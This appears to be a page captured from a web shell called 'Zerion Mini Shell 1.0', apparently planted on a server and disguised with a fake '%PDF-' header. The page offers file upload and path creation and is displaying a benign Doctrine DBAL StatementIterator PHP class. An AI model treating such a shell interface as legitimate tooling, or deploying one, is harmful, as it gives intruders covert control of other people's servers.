%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/o91-api/vendor/doctrine/dbal/lib/Doctrine/DBAL/Driver/
Upload File :
Create Path :
Current File : /var/www/html/o91-api/vendor/doctrine/dbal/lib/Doctrine/DBAL/Driver/StatementIterator.php

<?php

namespace Doctrine\DBAL\Driver;

use IteratorAggregate;

class StatementIterator implements IteratorAggregate
{
    /** @var Statement */
    private $statement;

    public function __construct(Statement $statement)
    {
        $this->statement = $statement;
    }

    /**
     * {@inheritdoc}
     */
    public function getIterator()
    {
        while (($result = $this->statement->fetch()) !== false) {
            yield $result;
        }
    }
}

Zerion Mini Shell 1.0